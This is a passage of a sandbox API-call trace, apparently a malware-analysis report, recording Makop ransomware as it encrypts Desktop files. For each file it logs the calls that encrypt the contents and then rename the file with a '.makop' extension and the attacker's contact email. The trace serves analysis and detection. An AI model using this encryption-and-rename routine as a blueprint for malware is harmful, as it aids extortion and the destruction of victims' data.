HALPmcxz\\Desktop\\Y8t6pfdPZKS87AXpinM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y8t6pfdpzks87axpinm.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0057.195] GetProcessHeap () returned 0x48a0000 [0057.195] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.195] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.195] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0057.196] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x2, lpOverlapped=0x0) returned 1 [0057.198] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.198] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.198] GetProcessHeap () returned 0x48a0000 [0057.198] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0057.198] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0057.198] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.198] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0057.199] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.199] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.199] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.199] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.199] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.200] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.200] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.200] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.200] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1063e, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x1063e, lpOverlapped=0x0) returned 1 [0057.201] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x10640, dwBufLen=0x10640 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x10640) returned 1 [0057.202] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.202] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x10640, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x10640, lpOverlapped=0x0) returned 1 [0057.203] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.203] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x10724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.203] SetEndOfFile (hFile=0x120) returned 1 [0057.211] GetProcessHeap () returned 0x48a0000 [0057.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0057.211] GetProcessHeap () returned 0x48a0000 [0057.211] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.212] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y8t6pfdPZKS87AXpinM.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0057.212] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y8t6pfdPZKS87AXpinM.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y8t6pfdpzks87axpinm.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Y8t6pfdPZKS87AXpinM.png.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y8t6pfdpzks87axpinm.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.221] CloseHandle (hObject=0x120) returned 1 [0057.222] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa6380d40, ftCreationTime.dwHighDateTime=0x1d5dbc1, ftLastAccessTime.dwLowDateTime=0x293d3190, ftLastAccessTime.dwHighDateTime=0x1d5e43a, ftLastWriteTime.dwLowDateTime=0x293d3190, ftLastWriteTime.dwHighDateTime=0x1d5e43a, nFileSizeHigh=0x0, nFileSizeLow=0xa751, dwReserved0=0x0, dwReserved1=0x0, cFileName="YFdUaqM7Rw4tc9jlc.flv", cAlternateFileName="YFDUAQ~1.FLV")) returned 1 [0057.222] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFdUaqM7Rw4tc9jlc.flv") returned 59 [0057.222] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFdUaqM7Rw4tc9jlc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfduaqm7rw4tc9jlc.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0057.222] GetProcessHeap () returned 0x48a0000 [0057.222] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.222] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.222] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0057.223] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0xf, lpOverlapped=0x0) returned 1 [0057.225] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.225] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.225] GetProcessHeap () returned 0x48a0000 [0057.225] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x50) returned 0x48c3f98 [0057.226] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50, dwBufLen=0x50 | out: pbData=0x48c3f98*, pdwDataLen=0x657e490*=0x50) returned 1 [0057.226] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.226] WriteFile (in: hFile=0x120, lpBuffer=0x48c3f98*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3f98*, lpNumberOfBytesWritten=0x657e4a8*=0x50, lpOverlapped=0x0) returned 1 [0057.226] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.226] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.226] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.226] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.227] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.227] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.227] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.227] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.227] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa751, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0xa751, lpOverlapped=0x0) returned 1 [0057.228] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0xa760, dwBufLen=0xa760 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0xa760) returned 1 [0057.228] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.229] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa760, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0xa760, lpOverlapped=0x0) returned 1 [0057.229] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.229] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xa844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.230] SetEndOfFile (hFile=0x120) returned 1 [0057.498] GetProcessHeap () returned 0x48a0000 [0057.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3f98 | out: hHeap=0x48a0000) returned 1 [0057.499] GetProcessHeap () returned 0x48a0000 [0057.499] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.500] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFdUaqM7Rw4tc9jlc.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 106 [0057.500] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFdUaqM7Rw4tc9jlc.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfduaqm7rw4tc9jlc.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YFdUaqM7Rw4tc9jlc.flv.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yfduaqm7rw4tc9jlc.flv.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.509] CloseHandle (hObject=0x120) returned 1 [0057.509] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15f74500, ftCreationTime.dwHighDateTime=0x1d5e6ea, ftLastAccessTime.dwLowDateTime=0xff2280, ftLastAccessTime.dwHighDateTime=0x1d5e4e2, ftLastWriteTime.dwLowDateTime=0xff2280, ftLastWriteTime.dwHighDateTime=0x1d5e4e2, nFileSizeHigh=0x0, nFileSizeLow=0x15be, dwReserved0=0x0, dwReserved1=0x0, cFileName="zhXH4iZh8G1kq.gif", cAlternateFileName="ZHXH4I~1.GIF")) returned 1 [0057.509] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhXH4iZh8G1kq.gif") returned 55 [0057.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhXH4iZh8G1kq.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhxh4izh8g1kq.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0057.510] GetProcessHeap () returned 0x48a0000 [0057.510] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.510] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.511] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0057.511] WriteFile (in: hFile=0x120, lpBuffer=0x657e4d8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4d8*, lpNumberOfBytesWritten=0x657e4a8*=0x2, lpOverlapped=0x0) returned 1 [0057.515] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.515] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.515] GetProcessHeap () returned 0x48a0000 [0057.515] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0057.515] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x657e490*=0x40) returned 1 [0057.515] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.515] WriteFile (in: hFile=0x120, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x657e4a8*=0x40, lpOverlapped=0x0) returned 1 [0057.516] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.516] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.516] WriteFile (in: hFile=0x120, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.516] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.516] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.516] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.517] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.517] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.517] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x15be, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x15be, lpOverlapped=0x0) returned 1 [0057.517] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x15c0, dwBufLen=0x15c0 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x15c0) returned 1 [0057.517] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.517] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x15c0, lpOverlapped=0x0) returned 1 [0057.518] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.518] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x1694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.518] SetEndOfFile (hFile=0x120) returned 1 [0057.526] GetProcessHeap () returned 0x48a0000 [0057.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0057.526] GetProcessHeap () returned 0x48a0000 [0057.526] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.526] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhXH4iZh8G1kq.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 102 [0057.526] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhXH4iZh8G1kq.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhxh4izh8g1kq.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zhXH4iZh8G1kq.gif.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zhxh4izh8g1kq.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0057.597] CloseHandle (hObject=0x120) returned 1 [0057.598] FindNextFileW (in: hFindFile=0x48c06c8, lpFindFileData=0x657e520 | out: lpFindFileData=0x657e520*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8f4124b0, ftCreationTime.dwHighDateTime=0x1d5d8e1, ftLastAccessTime.dwLowDateTime=0x8482dc00, ftLastAccessTime.dwHighDateTime=0x1d5d92a, ftLastWriteTime.dwLowDateTime=0x8482dc00, ftLastWriteTime.dwHighDateTime=0x1d5d92a, nFileSizeHigh=0x0, nFileSizeLow=0x13820, dwReserved0=0x0, dwReserved1=0x0, cFileName="zqKAg.xlsx", cAlternateFileName="ZQKAG~1.XLS")) returned 1 [0057.598] wsprintfW (in: param_1=0x657ef70, param_2="%s\\%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zqKAg.xlsx") returned 48 [0057.598] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zqKAg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zqkag.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0057.598] GetProcessHeap () returned 0x48a0000 [0057.598] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0057.598] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0057.598] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4c8 | out: lpNewFilePointer=0x0) returned 1 [0057.599] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.599] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.599] GetProcessHeap () returned 0x48a0000 [0057.599] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0057.599] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x657e490*=0x30) returned 1 [0057.599] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.599] WriteFile (in: hFile=0x120, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x657e4a8*=0x30, lpOverlapped=0x0) returned 1 [0057.601] WriteFile (in: hFile=0x120, lpBuffer=0x657e4b0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4b0*, lpNumberOfBytesWritten=0x657e4a8*=0x4, lpOverlapped=0x0) returned 1 [0057.602] WriteFile (in: hFile=0x120, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x657e4a8*=0x10, lpOverlapped=0x0) returned 1 [0057.602] WriteFile (in: hFile=0x120, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x657e4a8*=0x80, lpOverlapped=0x0) returned 1 [0057.602] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x657e4d0 | out: lpNewFilePointer=0x0) returned 1 [0057.602] WriteFile (in: hFile=0x120, lpBuffer=0x657e4c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x657e4c0*, lpNumberOfBytesWritten=0x657e4a8*=0x8, lpOverlapped=0x0) returned 1 [0057.602] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657e4ac | out: phKey=0x657e4ac*=0x48c6fe8) returned 1 [0057.602] CryptSetKeyParam (hKey=0x48c6fe8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0057.602] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.603] ReadFile (in: hFile=0x120, lpBuffer=0x6370020, nNumberOfBytesToRead=0x13820, lpNumberOfBytesRead=0x657e4b4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x657e4b4*=0x13820, lpOverlapped=0x0) returned 1 [0057.604] CryptEncrypt (in: hKey=0x48c6fe8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x657e490*=0x13820, dwBufLen=0x13820 | out: pbData=0x6370020*, pdwDataLen=0x657e490*=0x13820) returned 1 [0057.605] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.605] WriteFile (in: hFile=0x120, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x13820, lpNumberOfBytesWritten=0x657e4a8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x657e4a8*=0x13820, lpOverlapped=0x0) returned 1 [0057.606] CryptDestroyKey (hKey=0x48c6fe8) returned 1 [0057.606] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x138e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.606] SetEndOfFile (hFile=0x120) returned 1 [0057.614] GetProcessHeap () returned 0x48a0000 [0057.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0057.614] GetProcessHeap () returned 0x48a0000 [0057.614] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0057.614] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zqKAg.xlsx.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 95 [0057.614] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zqKAg.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zqkag.xlsx"), lpNewFileName="C:\\Users\\5p5NrGJn0jS 